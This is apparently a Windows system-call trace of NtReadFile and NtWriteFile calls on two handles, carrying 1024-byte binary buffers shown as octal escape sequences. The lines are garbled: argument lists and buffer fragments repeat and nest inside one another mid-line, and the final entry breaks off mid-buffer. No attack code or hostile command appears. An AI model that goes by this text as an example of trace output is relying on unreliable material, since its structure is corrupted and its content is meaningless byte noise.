zbI(\321\276B\302\326u\330\307\22\371,\315\252H\252_i\214C\211\353ug\262\34540\34"\262\301x[&\233\372\236\323\22&\366\3548\273|\256\235\372\341iJ\0L\240uY*\222\226\30E\264U\275E\276iSS\245\242\2\244\317;\321\372\200\202%>\233\207:6E\215Z\314m%U!\275.G\10#>QC)q\247\261H5\37\206\363O\257\217\213P%\324\305\377\34%:\353\271\220 \357\25\24H\260"h\311\321\275V\370\351<\264,\304R6\213\276\36{\277V\207\235\177\232\350\367cW\362\232\320\205\237\30\25\0\31-P\274tv\353+\365\373\3412\256i\6Q?\21\2R&.\365=\251\253\342\346XHE\253#O\266\256d?\311\246\232\370\314\300!\243\360\362r\3155\264r\362\250'\306\255\235ut\320\335\201i\7\2\241\250\204\30\7\27\267>\370\244\272c\270\230\357\251x\266\14-??\\312\357%p\203\31\245?\350\256~\361\24\4\44o\14\321M$w\366\202X\201y\372\327\301\347T\343K\16mx\311\247:\220\327\364e\304\14\240\26]1\262\271\262r2\20hr\344\354p^E\322\4}0E\4d\225!\367j\37\224Hx\352O);\217Q\330\327\263"8\305{\337\232\302^6\353"\317\374\350jH\220\221]\321p{\251\221\\222\245\360\240\231\347 \302\201\337\243\340\16\300pwb\321\0XV-\351q\274\211d_\354P\316\371\373\266m\347\5~\5\335\371\\212y\2\342\313#\321K6\273\32N*8\20\332\362j\26M""\232\346\24*\3\2464Q\356\345R\262\317\242n\2531EE6\233s\206\7\303\357\331R>ZQ", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \317\374\350jH\220\221]\321p{\251\221\\222\245\360\240\231\347 \302\201\337\243\340\16\300pwb\321\0XV-\351q\274\211d_\354P\316\371\373\266m\347\5~\5\335\371\\212y\2\342\313#\321K6\273\32N*8\20\332\362j\26M" (92, 0, 0, 0, "L\275\2713\205\307\314\360\304`j\207\327WS\307\3\207^O\302\20\374\366\241\330\316 zbI(\321\276B\302\326u\330\307\22\371,\315\252H\252_i\214C\211\353ug\262\34540\34"\262\301x[&\233\372\236\323\22&\366\3548\273|\256\235\372\341iJ\0L\240uY*\222\226\30E\264U\275E\276iSS\245\242\2\244\317;\321\372\200\202%>\233\207:6E\215Z\314m%U!\275.G\10#>QC)q\247\261H5\37\206\363O\257\217\213P%\324\305\377\34%:\353\271\220 \357\25\24H\260"h\311\321\275V\370\351<\264,\304R6\213\276\36{\277V\207\235\177\232\350\367cW\362\232\320\205\237\30\25\0\31-P\274tv\353+\365\373\3412\256i\6Q?\21\2R&.\365=\251\253\342\346XHE\253#O\266\256d?\311\246\232\370\314\300!\243\360\362r\3155\264r\362\250'\306\255\235ut\320\335\201i\7\2\241\250\204\30\7\27\267>\370\244\272c\270\230\357\251x\266\14-??\\312\357%p\203\31\245?\350\256~\361\24\4\44o\14\321M$w\366\202X\201y\372\327\301\347T\343K\16mx\311\247:\220\327\364e\304\14\240\26]1\262\271\262r2\20hr\344\354p^E\322\4}0E\4d\225!\367j\37\224Hx\352O);\217Q\330\327\263"8\305{\337\232\302^6\353"\317\374\350jH\220\221]\321p{\251\221\\222\245\360\240\231\347 \302\201\337\243\340\16\300pwb\321\0XV-\351q\274\211d_\354P\316\371\373\266m\347\5~\5\335\371\\212y\2\342\313#\321K6\273\32N*8\20\332\362j\26M""\232\346\24*\3\2464Q\356\345R\262\317\242n\2531EE6\233s\206\7\303\357\331R>ZQ", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01298  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\33t\16\3653D\312\332\10 \265t,\360N\230\375\2265\345\3;h\205.s\244\15\16\2104\106[\24\21\20\30w\24\20U\35\362\267A+\35'\312J_\20\322mO\1O`&'\211\344.\357"\247e/L\10633w6\365-\374\3748\277\3610\234 Vh\374A\33\11\270UPOG6&()c@#-L-kYBBR@V<_\372:\315:\34lKZi\22\215\327k"\250\363\1P6\366 Z&\352X\234,^\344\221"\203k\313?#FQf\30Sb`1\253\355\334\245\37\257"\23\333#}\203)\4#)\267\223.\341\23/\273\2604;476\264\300\306N}\266\2545ns~\37H\340\365*\2!\344\6\356D\371!*)~}x\307.\20R5\370S0\264\364\375*Y:\35;ns\336\37\332\31\242\245\352%ts\316\313\10\351,\5\350\376(\3552\3654\277\3743ga\314\321\200\372:\6\252\4# \252"\33\36\11\34\15\32l\30h\26\300\24m\23-/\17313{46\375\5\11\15\277\1i\6\253\4\320'\300%\370\33\333\31,\30~\32J\24^\26\241\20\351\22\334\144\17\24\11\15\13}\5\202\7\266q\0n\327\237\375m\222>\302 s\3341\261\207\2\250F\251\312\6\3579\246uc\332H\4\14\246\262\370M\32(=\325]^3\30\102\36LqpK\320\20\7W(|\302\7\254>?\211c\247\262\33\335u\27:-\2129(?X\260+\221u\265\340\337\310\206G\252%\14\252\214(/\253\255\2\232\242\27407F60\264=R8\30\1\334?\34\35\215*\33\234\366\11\326j%3\320\375\247\21\272\363,\5NE\245\360$K\2657&X@\255C\26\334365-\374\3748\277\3610\234 Vh\374A\33\11\270UPOG6&()c@#-L-kYBBR@V<_\372:\315:\34lKZi\22\215\327k (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\33t\16\3653D\312\332\10 \265t,\360N\230\375\2265\345\3;h\205.s\244\15\16\2104\106[\24\21\20\30w\24\20U\35\362\267A+\35'\312J_\20\322mO\1O`&'\211\344.\357"\247e/L\10633w6\365-\374\3748\277\3610\234 Vh\374A\33\11\270UPOG6&()c@#-L-kYBBR@V<_\372:\315:\34lKZi\22\215\327k"\250\363\1P6\366 Z&\352X\234,^\344\221"\203k\313?#FQf\30Sb`1\253\355\334\245\37\257"\23\333#}\203)\4#)\267\223.\341\23/\273\2604;476\264\300\306N}\266\2545ns~\37H\340\365*\2!\344\6\356D\371!*)~}x\307.\20R5\370S0\264\364\375*Y:\35;ns\336\37\332\31\242\245\352%ts\316\313\10\351,\5\350\376(\3552\3654\277\3743ga\314\321\200\372:\6\252\4# \252"\33\36\11\34\15\32l\30h\26\300\24m\23-/\17313{46\375\5\11\15\277\1i\6\253\4\320'\300%\370\33\333\31,\30~\32J\24^\26\241\20\351\22\334\144\17\24\11\15\13}\5\202\7\266q\0n\327\237\375m\222>\302 s\3341\261\207\2\250F\251\312\6\3579\246uc\332H\4\14\246\262\370M\32(=\325]^3\30\102\36LqpK\320\20\7W(|\302\7\254>?\211c\247\262\33\335u\27:-\2129(?X\260+\221u\265\340\337\310\206G\252%\14\252\214(/\253\255\2\232\242\27407F60\264=R8\30\1\334?\34\35\215*\33\234\366\11\326j%3\320\375\247\21\272\363,\5NE\245\360$K\2657&X@\255C\26\334313?#FQf\30Sb`1\253\355\334\245\37\257 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\33t\16\3653D\312\332\10 \265t,\360N\230\375\2265\345\3;h\205.s\244\15\16\2104\106[\24\21\20\30w\24\20U\35\362\267A+\35'\312J_\20\322mO\1O`&'\211\344.\357"\247e/L\10633w6\365-\374\3748\277\3610\234 Vh\374A\33\11\270UPOG6&()c@#-L-kYBBR@V<_\372:\315:\34lKZi\22\215\327k"\250\363\1P6\366 Z&\352X\234,^\344\221"\203k\313?#FQf\30Sb`1\253\355\334\245\37\257"\23\333#}\203)\4#)\267\223.\341\23/\273\2604;476\264\300\306N}\266\2545ns~\37H\340\365*\2!\344\6\356D\371!*)~}x\307.\20R5\370S0\264\364\375*Y:\35;ns\336\37\332\31\242\245\352%ts\316\313\10\351,\5\350\376(\3552\3654\277\3743ga\314\321\200\372:\6\252\4# \252"\33\36\11\34\15\32l\30h\26\300\24m\23-/\17313{46\375\5\11\15\277\1i\6\253\4\320'\300%\370\33\333\31,\30~\32J\24^\26\241\20\351\22\334\144\17\24\11\15\13}\5\202\7\266q\0n\327\237\375m\222>\302 s\3341\261\207\2\250F\251\312\6\3579\246uc\332H\4\14\246\262\370M\32(=\325]^3\30\102\36LqpK\320\20\7W(|\302\7\254>?\211c\247\262\33\335u\27:-\2129(?X\260+\221u\265\340\337\310\206G\252%\14\252\214(/\253\255\2\232\242\27407F60\264=R8\30\1\334?\34\35\215*\33\234\366\11\326j%3\320\375\247\21\272\363,\5NE\245\360$K\2657&X@\255C\26\33433\36\11\34\15\32l\30h\26\300\24m\23-/\17313{46\375\5\11\15\277\1i\6\253\4\320'\300%\370\33\333\31,\30~\32J\24^\26\241\20\351\22\334\144\17\24\11\15\13}\5\202\7\266q\0n\327\237\375m\222>\302 s\3341\261\207\2\250F\251\312\6\3579\246uc\332H\4\14\246\262\370M\32(=\325]^3\30\102\36LqpK\320\20\7W(|\302\7\254>?\211c\247\262\33\335u\27:-\2129(?X\260+\221u\265\340\337\310\206G\252%\14\252\214(/\253\255\2\232\242\27407F60\264=R8\30\1\334?\34\35\215*\33\234\366\11\326j%3\320\375\247\21\272\363,\5NE\245\360$K\2657&X@\255C\26\334277\34ur\317a", ) == 0x0
 01299  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Wg\213c?!\376\321\336\340\326`\201&\257\36\3\234\0\356\200\234\2000\246\227\360z}\372\356\357\313\376/m\367\376M \222E\356\221\270\365\17U\322\17\23\1\215\246mG"K\21P\27\264\227\3562\325Z\35\322\13?Xr\315pt\34\343\240\301o@\206\374\265y\10\262\366[\35b\246\10\334F0\233\230%)\200\37\202\373\225)N\177w\264\337\232\232\257\206\331\317\351CG\340Zr^d\315p\220\324\251xa\273\260\200\376pB\347\321\370\5\15w\320\375Rm\2259H>\16\33.\322O\370\11^\306\330+&\266\203V\356\301\374\214\30\370/\307\374\335y\353\1Ja\211\304\16\207k\277@\275\345\221\16\254;\205\224\374\22"\241X\350\203l\17\314\0s\15\0\333R\304\327\222\333\270E3c\237\334N\266,M\307XG\354\213\22\20\\3057\257+\324\201\261\30]\362\376)X\2\20\13\376\201\235\315$\351\367\332\223\313rL\230\322\3447\325\0\224\3242V\230y\20\265S\223\267\306\323\212%n\2037%\21\361\209\365\3014\276\34\215W\235kf\371\361\236\1\333\177\15\264V\264\227\272b\370\306\253\17~\222\2326\242\340\37\273\356\274\322fC\303\2506\331\2\312%\330B\25\307\36X\211p\326\30\217\215\14!UI\6R\364\274\252x\14q\355\242\5^\227\243r4\205LJ\225Iq\214\355x!\274\200\322\304,\371\345mi,\374t\27\12\335\230\35\333L\266\202\20\35\226\377v\260\323\232\355\227\2\336\222\27\371\230\246\345\32\35r\367w\222\246\17\262KX\254\266\357^v\344zp\251<\364\224\334\256\5\221\371B6\364\360<\36\374\253\3747\7\277\367Od\322\5\20@\323h\342\213\261:\234g\20\31l\200[\242K\334\346\232\254\243\211\26P\212}\1C\23w\332q\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) K\21P\27\264\227\3562\325Z\35\322\13?Xr\315pt\34\343\240\301o@\206\374\265y\10\262\366[\35b\246\10\334F0\233\230%)\200\37\202\373\225)N\177w\264\337\232\232\257\206\331\317\351CG\340Zr^d\315p\220\324\251xa\273\260\200\376pB\347\321\370\5\15w\320\375Rm\2259H>\16\33.\322O\370\11^\306\330+&\266\203V\356\301\374\214\30\370/\307\374\335y\353\1Ja\211\304\16\207k\277@\275\345\221\16\254;\205\224\374\22 (92, 0, 0, 0, "Wg\213c?!\376\321\336\340\326`\201&\257\36\3\234\0\356\200\234\2000\246\227\360z}\372\356\357\313\376/m\367\376M \222E\356\221\270\365\17U\322\17\23\1\215\246mG"K\21P\27\264\227\3562\325Z\35\322\13?Xr\315pt\34\343\240\301o@\206\374\265y\10\262\366[\35b\246\10\334F0\233\230%)\200\37\202\373\225)N\177w\264\337\232\232\257\206\331\317\351CG\340Zr^d\315p\220\324\251xa\273\260\200\376pB\347\321\370\5\15w\320\375Rm\2259H>\16\33.\322O\370\11^\306\330+&\266\203V\356\301\374\214\30\370/\307\374\335y\353\1Ja\211\304\16\207k\277@\275\345\221\16\254;\205\224\374\22"\241X\350\203l\17\314\0s\15\0\333R\304\327\222\333\270E3c\237\334N\266,M\307XG\354\213\22\20\\3057\257+\324\201\261\30]\362\376)X\2\20\13\376\201\235\315$\351\367\332\223\313rL\230\322\3447\325\0\224\3242V\230y\20\265S\223\267\306\323\212%n\2037%\21\361\209\365\3014\276\34\215W\235kf\371\361\236\1\333\177\15\264V\264\227\272b\370\306\253\17~\222\2326\242\340\37\273\356\274\322fC\303\2506\331\2\312%\330B\25\307\36X\211p\326\30\217\215\14!UI\6R\364\274\252x\14q\355\242\5^\227\243r4\205LJ\225Iq\214\355x!\274\200\322\304,\371\345mi,\374t\27\12\335\230\35\333L\266\202\20\35\226\377v\260\323\232\355\227\2\336\222\27\371\230\246\345\32\35r\367w\222\246\17\262KX\254\266\357^v\344zp\251<\364\224\334\256\5\221\371B6\364\360<\36\374\253\3747\7\277\367Od\322\5\20@\323h\342\213\261:\234g\20\31l\200[\242K\334\346\232\254\243\211\26P\212}\1C\23w\332q\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01300  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&^\357sE\267\235\221H?1\241:\17\203\221\2501\2533#<\37\179\36\274\24\14\34\1&\254\311\7\7"\326(\17\325>\3556r\34\353\1\264\203\341%7\338\31\12\21Z}>\13Z\34Y\177\17\26$\366#%\344&\37\351)\20\353/\354.\5\14p2\15u5vv8{\305a\351\2151\33\272\31\335u7Q!H\211\0\225'u\277\343s\373,<\206\37200\222\37295\266f8=\34\216i >\10\332\331[\265fC\256\252\11L\315\246\177-)(z*\2476~6\32\23\3041D\7\2469:8\5\15>=**]&\37!\20\33\252\202N\206!k7;K*\340n!\203\34\307\231\204e\277]\276>(\273;\254\2628\266\2330\247\227'g\253\15\242"5\247/?\177\247+\252\3R\2706~\27\4\201\2\371/\310:e\2779+\233\33w\7\226'.$s\7h\202.N\252T---[\16\273\177\0Y7d\276\310-u\337?j\17l\325\37 \255\37\335 ^\37<$$&r\243)\306A\323E\216\224s122P\22463h]\263;\31=:\274\367\4NH\24\\241D\3V/\240Dn{J+|\322;'<\3520\242,\325Rb!s'@HXL*E,,\361-GRA2\24514n:_JNHm]?GOuq\7GTLck\345p\7\177H,Y,\2n.\^@W\24%sSQ", ) \326(\17\325>\3556r\34\353\1\264\203\341%7\338\31\12\21Z}>\13Z\34Y\177\17\26$\366#%\344&\37\351)\20\353/\354.\5\14p2\15u5vv8{\305a\351\2151\33\272\31\335u7Q!H\211\0\225'u\277\343s\373,<\206\37200\222\37295\266f8=\34\216i >\10\332\331[\265fC\256\252\11L\315\246\177-)(z*\2476~6\32\23\3041D\7\2469:8\5\15>=**]&\37!\20\33\252\202N\206!k7;K*\340n!\203\34\307\231\204e\277]\276>(\273;\254\2628\266\2330\247\227'g\253\15\242 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&^\357sE\267\235\221H?1\241:\17\203\221\2501\2533#<\37\179\36\274\24\14\34\1&\254\311\7\7"\326(\17\325>\3556r\34\353\1\264\203\341%7\338\31\12\21Z}>\13Z\34Y\177\17\26$\366#%\344&\37\351)\20\353/\354.\5\14p2\15u5vv8{\305a\351\2151\33\272\31\335u7Q!H\211\0\225'u\277\343s\373,<\206\37200\222\37295\266f8=\34\216i >\10\332\331[\265fC\256\252\11L\315\246\177-)(z*\2476~6\32\23\3041D\7\2469:8\5\15>=**]&\37!\20\33\252\202N\206!k7;K*\340n!\203\34\307\231\204e\277]\276>(\273;\254\2628\266\2330\247\227'g\253\15\242"5\247/?\177\247+\252\3R\2706~\27\4\201\2\371/\310:e\2779+\233\33w\7\226'.$s\7h\202.N\252T---[\16\273\177\0Y7d\276\310-u\337?j\17l\325\37 \255\37\335 ^\37<$$&r\243)\306A\323E\216\224s122P\22463h]\263;\31=:\274\367\4NH\24\\241D\3V/\240Dn{J+|\322;'<\3520\242,\325Rb!s'@HXL*E,,\361-GRA2\24514n:_JNHm]?GOuq\7GTLck\345p\7\177H,Y,\2n.\^@W\24%sSQ", ) Rb!s'@HXL*E,,\361-GRA2\24514n:_JNHm]?GOuq\7GTLck\345p\7\177H,Y,\2n.\^@W\24%sSQ", ) == 0x0
 01301  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Pmj\356\330}\314\22\2\303\14I5\24\271]\344\33\361F\356\332e\236\335u<\316\200U\251\210\245?\241\306\17\3406\253\356XB\255\1\326\371\373&b\206\372\264\34\227\351\12\205\256`\245\264\246\236\342\177\3\242\347['bG\17\262\16\27\262\206\234\221r/\240y\230c\245\313\243lm\35a]f\326\262\3342e\16}-;\343R\304\16\3\271\207\370\301s;\25{\233\21~|W\302^C\336\17\361\275\300Q\310\225y\366\14\231|\355\345\261\3704\302ha\314\2\354K\255\33$w\2234\312\231\357\211\37\263+\257\225n\367\12\13k\323\34nS&\34\201TP:\247x\3354\211 \337\321\316-t\342\315\341)p\331>\362\321\302\3020<\310\11w\25\374\253\12&\320j\343\276\247"\15\354\17\20\303\5\25\304x\225\255c\301m\274\336\245\375\231|\370;\262\274|D\323\266\373p\2546N\26\251\5/\233\372\245\321\200\24\217mD\351\2351\3e]\23\243nOI\20\322b~\347Zl\320\372\262N\327\237\250\2265\364@\304lv\267\24\11\227\32\232\273\202\327\3464\260\25>Ub\226\232\345-\213]\256\365-\303D\351\346O\275\343N\366\325\33}\36V2r\324$\314r\3540\2775j\17\307"\302L\307\364S@7\262\33\247]c\201\347\237I\317=Q7\37\3076\205S\252\347\3462\22\252\344\23.-\31\220\33\324\30\315\333\202\353e\31\20\304w\2201\26#\222\304\364\367\255\202\360:\310D\322\246\7u\253\252'\277\352v\226\2384\13\245>"{y\2019=\245\312\274\356\257\226)\22\33\241\212kp\354ja\352Q\205\232d\267J\37S\353\326\3\217c\360HY\35Iv\357\223@\354\332Q U\255B\13*ao\353=m\352k\322[\323\242\211\207\231\323\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \15\354\17\20\303\5\25\304x\225\255c\301m\274\336\245\375\231|\370;\262\274|D\323\266\373p\2546N\26\251\5/\233\372\245\321\200\24\217mD\351\2351\3e]\23\243nOI\20\322b~\347Zl\320\372\262N\327\237\250\2265\364@\304lv\267\24\11\227\32\232\273\202\327\3464\260\25>Ub\226\232\345-\213]\256\365-\303D\351\346O\275\343N\366\325\33}\36V2r\324$\314r\3540\2775j\17\307 (92, 0, 0, 0, "Pmj\356\330}\314\22\2\303\14I5\24\271]\344\33\361F\356\332e\236\335u<\316\200U\251\210\245?\241\306\17\3406\253\356XB\255\1\326\371\373&b\206\372\264\34\227\351\12\205\256`\245\264\246\236\342\177\3\242\347['bG\17\262\16\27\262\206\234\221r/\240y\230c\245\313\243lm\35a]f\326\262\3342e\16}-;\343R\304\16\3\271\207\370\301s;\25{\233\21~|W\302^C\336\17\361\275\300Q\310\225y\366\14\231|\355\345\261\3704\302ha\314\2\354K\255\33$w\2234\312\231\357\211\37\263+\257\225n\367\12\13k\323\34nS&\34\201TP:\247x\3354\211 \337\321\316-t\342\315\341)p\331>\362\321\302\3020<\310\11w\25\374\253\12&\320j\343\276\247"\15\354\17\20\303\5\25\304x\225\255c\301m\274\336\245\375\231|\370;\262\274|D\323\266\373p\2546N\26\251\5/\233\372\245\321\200\24\217mD\351\2351\3e]\23\243nOI\20\322b~\347Zl\320\372\262N\327\237\250\2265\364@\304lv\267\24\11\227\32\232\273\202\327\3464\260\25>Ub\226\232\345-\213]\256\365-\303D\351\346O\275\343N\366\325\33}\36V2r\324$\314r\3540\2775j\17\307"\302L\307\364S@7\262\33\247]c\201\347\237I\317=Q7\37\3076\205S\252\347\3462\22\252\344\23.-\31\220\33\324\30\315\333\202\353e\31\20\304w\2201\26#\222\304\364\367\255\202\360:\310D\322\246\7u\253\252'\277\352v\226\2384\13\245>"{y\2019=\245\312\274\356\257\226)\22\33\241\212kp\354ja\352Q\205\232d\267J\37S\353\326\3\217c\360HY\35Iv\357\223@\354\332Q U\255B\13*ao\353=m\352k\322[\323\242\211\207\231\323\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) {y\2019=\245\312\274\356\257\226)\22\33\241\212kp\354ja\352Q\205\232d\267J\37S\353\326\3\217c\360HY\35Iv\357\223@\354\332Q U\255B\13*ao\353=m\352k\322[\323\242\211\207\231\323\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01302  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\234\251\37)\15\2\310\242\220 \34\227%%\276\232)\246`\13\227/\2146\3013.\335\274e\3129I\317<$\326}\351\34?4\353 9\312\21\326%\307!y\332*<\304\17\334/\250\3052% \335$\3058v\316;)\325\333)9\303\316\337\232.1\233\36625\34176\3328;\321=<\224\307\32\35\33\237\152 #\7%$\214\25)(j*-a/.l03\231Z47\26398\242:=\233?>Q\250\34\37\323  K\333\345R(\262\351J\214\252\257\355&i4\3371\362\317aW\323\263i\322\266s\356M1\35H\35:\33\253 t\20\355\256&\25\23\357t$\270\354\244\255\361\255A`bb\275\316\30\15\2747\274\13\37\6;\364MD\177-)\352\313C$\17\327~\301%+$-\17\2262\375\313\277q\223pM:\17tI$wnH\226\36\220\274 "\343 \322'\264++/,.\306'\220\22\314\314\337\10?\35?9\20/s(>\25=\377-\337\203'\336#\10&\36&(\5\177\211,\35\214/\4\2232\13\2265\12b\2329z\231K\271\34e\334K\t\200#\240\307&\30(*\25+\30-{\244\334[\315[4\5\204t88^\232<\35:o\177\2258\336x\314)"prr\255\32\370\361(+-\244K\337\273\300\365v4\31163\262\277\221;?=\272\377n\25u\366\34 ! \334\216\205\243'\200\254*\233\251-\226\2520\233\362\2664\375\2637\350\274:\343\274=\265]<\14\3\336J&!#\2735\0\215g(\33(8\251", ) \333)9\303\316\337\232.1\233\36625\34176\3328;\321=<\224\307\32\35\33\237\152 #\7%$\214\25)(j*-a/.l03\231Z47\26398\242:=\233?>Q\250\34\37\323  K\333\345R(\262\351J\214\252\257\355&i4\3371\362\317aW\323\263i\322\266s\356M1\35H\35:\33\253 t\20\355\256&\25\23\357t$\270\354\244\255\361\255A`bb\275\316\30\15\2747\274\13\37\6;\364MD\177-)\352\313C$\17\327~\301%+$-\17\2262\375\313\277q\223pM:\17tI$wnH\226\36\220\274  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\234\251\37)\15\2\310\242\220 \34\227%%\276\232)\246`\13\227/\2146\3013.\335\274e\3129I\317<$\326}\351\34?4\353 9\312\21\326%\307!y\332*<\304\17\334/\250\3052% \335$\3058v\316;)\325\333)9\303\316\337\232.1\233\36625\34176\3328;\321=<\224\307\32\35\33\237\152 #\7%$\214\25)(j*-a/.l03\231Z47\26398\242:=\233?>Q\250\34\37\323  K\333\345R(\262\351J\214\252\257\355&i4\3371\362\317aW\323\263i\322\266s\356M1\35H\35:\33\253 t\20\355\256&\25\23\357t$\270\354\244\255\361\255A`bb\275\316\30\15\2747\274\13\37\6;\364MD\177-)\352\313C$\17\327~\301%+$-\17\2262\375\313\277q\223pM:\17tI$wnH\226\36\220\274 "\343 \322'\264++/,.\306'\220\22\314\314\337\10?\35?9\20/s(>\25=\377-\337\203'\336#\10&\36&(\5\177\211,\35\214/\4\2232\13\2265\12b\2329z\231K\271\34e\334K\t\200#\240\307&\30(*\25+\30-{\244\334[\315[4\5\204t88^\232<\35:o\177\2258\336x\314)"prr\255\32\370\361(+-\244K\337\273\300\365v4\31163\262\277\221;?=\272\377n\25u\366\34 ! \334\216\205\243'\200\254*\233\251-\226\2520\233\362\2664\375\2637\350\274:\343\274=\265]<\14\3\336J&!#\2735\0\215g(\33(8\251", ) prr\255\32\370\361(+-\244K\337\273\300\365v4\31163\262\277\221;?=\272\377n\25u\366\34 ! \334\216\205\243'\200\254*\233\251-\226\2520\233\362\2664\375\2637\350\274:\343\274=\265]<\14\3\336J&!#\2735\0\215g(\33(8\251", ) == 0x0
 01303  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\240\363\207\311\371\13L%]\236\247\3\257\37\337\275\336\14=\2168B \355\316\246F\202\234\262U]\21\346\277\323\35\2T\216+\320\1\330Y\312MwW)\330n\366x_\326\333O%\177w%.\221\256\311\234\1\202\15\14\0\214B\210\11^X\7\343\376\315\25q1\2244K;\265o\252\365%mU\320\270\340\260\2516\34\266\363\347l:{\271\341=\277\335c\226\205\200\333\252\306<\212\216\201\32y^\376\365\330|\221/\3571\12\277\336\3750X@\345B\252\215\257e\201:\237\371\321\202\270U=\341i\200.\13\304$U\\210\2600\13\313R\202/\315B\347\306\25\321X|Yj%\342GKFA"\227T\261Im\375\351\226&N\310_\245\220\7\323d\31(\1W\360\7\200\203\360;\322\374\223\340\315'\15_\251\271\254x\354\223\304\302\271\323\237\363\300\372`\370O}\247\243\351\374\227`3t)\223\353\361#8\276\342p~\325\346\342\373E!\207\315Y\262B\300\270F\267\246@\0\16/\327\243zK\20y\330\256\277\373\206\300>E5\350\11\20\352\223Q\351\250\217\252\266M\17\246\14\266\3014\241!\364o\22`\257\34B\324\2559\200NM\273\250\311\254F\2\362\2\261vq\203\326c'\31\250\237\344*67:\36#\2012\217b\256\215"C\225\243\27R\37\372YCDie\314@\375!\306Z9;\313L\242V\325\253jE\247\260^T2\37\217\35\205\3\220\303\340\251\276\27|z\6zy\205j\352Ef\233VA\253\355\1\17\324\330\201D\304C\223\237V\257\236\304t\202\1\200\365\0\267\325\270\260\370\246Km\30\323\322&.$\3116\1265U(E&@\35H\26\22\343\314\257\320\369\335\256_\20\252\241c\354\211\361\315\205\344\225\246\352\207\30Z\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \227T\261Im\375\351\226&N\310_\245\220\7\323d\31(\1W\360\7\200\203\360;\322\374\223\340\315'\15_\251\271\254x\354\223\304\302\271\323\237\363\300\372`\370O}\247\243\351\374\227`3t)\223\353\361#8\276\342p~\325\346\342\373E!\207\315Y\262B\300\270F\267\246@\0\16/\327\243zK\20y\330\256\277\373\206\300>E5\350\11\20\352\223Q\351\250\217\252\266M\17\246\14\266\3014\241!\364o\22`\257\34B\324\2559\200NM\273\250\311\254F\2\362\2\261vq\203\326c'\31\250\237\344*67:\36#\2012\217b\256\215 (92, 0, 0, 0, "\240\363\207\311\371\13L%]\236\247\3\257\37\337\275\336\14=\2168B \355\316\246F\202\234\262U]\21\346\277\323\35\2T\216+\320\1\330Y\312MwW)\330n\366x_\326\333O%\177w%.\221\256\311\234\1\202\15\14\0\214B\210\11^X\7\343\376\315\25q1\2244K;\265o\252\365%mU\320\270\340\260\2516\34\266\363\347l:{\271\341=\277\335c\226\205\200\333\252\306<\212\216\201\32y^\376\365\330|\221/\3571\12\277\336\3750X@\345B\252\215\257e\201:\237\371\321\202\270U=\341i\200.\13\304$U\\210\2600\13\313R\202/\315B\347\306\25\321X|Yj%\342GKFA"\227T\261Im\375\351\226&N\310_\245\220\7\323d\31(\1W\360\7\200\203\360;\322\374\223\340\315'\15_\251\271\254x\354\223\304\302\271\323\237\363\300\372`\370O}\247\243\351\374\227`3t)\223\353\361#8\276\342p~\325\346\342\373E!\207\315Y\262B\300\270F\267\246@\0\16/\327\243zK\20y\330\256\277\373\206\300>E5\350\11\20\352\223Q\351\250\217\252\266M\17\246\14\266\3014\241!\364o\22`\257\34B\324\2559\200NM\273\250\311\254F\2\362\2\261vq\203\326c'\31\250\237\344*67:\36#\2012\217b\256\215"C\225\243\27R\37\372YCDie\314@\375!\306Z9;\313L\242V\325\253jE\247\260^T2\37\217\35\205\3\220\303\340\251\276\27|z\6zy\205j\352Ef\233VA\253\355\1\17\324\330\201D\304C\223\237V\257\236\304t\202\1\200\365\0\267\325\270\260\370\246Km\30\323\322&.$\3116\1265U(E&@\35H\26\22\343\314\257\320\369\335\256_\20\252\241c\354\211\361\315\205\344\225\246\352\207\30Z\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01304  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "F2:\264qXh\261\364\364\326!\216}\215\16\276\272s\343\15Z\345\202\215\3749{j\2060.\3\273\361\333\2527c6=\377ee\277\3716pz\23@\6\237\232\241(#%\345>w\204\301S+\226\217$'\222;\370S\14f\226\7\25m6illc?:T\34\366\305+\21\20\302$\11\25\263y\301\247\223,>\310\321\317\262\366'\2715z\23\30\321\227\321\302\302>o\220\322\365J\364\336\336#"\244\257\376\341l\15j+\274,\306\307\3273r;\363X]RU__L\17}N\14y+\35\30\17&CbBW@zJXh,(-\351@\177QEZ31X8D\370z\253+\214EQH>x\F\17mHAQK\365\356S\217\351Wo#\35hYY\221j\276z,\326+\22)\32\211s\237?\21[>\15\37\13\310c\240"g\244'%\300\34U\253-\254\235\317A\364\201\321F\252\377>)\11\20\247\262\370\32\264\336\31\374\310K\4\313\36f&}\243\342\302\210L+\260(-\16\3229\273},\276>d\20\260\312\237\177\21\267y[0\226U+\251o"\200\14%\257I\20\240Dk\247n.\23\13\374\273u\10@87\1W\26N5\6\373J\33\31\224p/\313'\251p`\25\257\307\214\255\16g|)q\177\2630\332P%T\235\273\34\11z3l\234\241\375m\\37NN\310C\2\343\2449&\252\274\15\351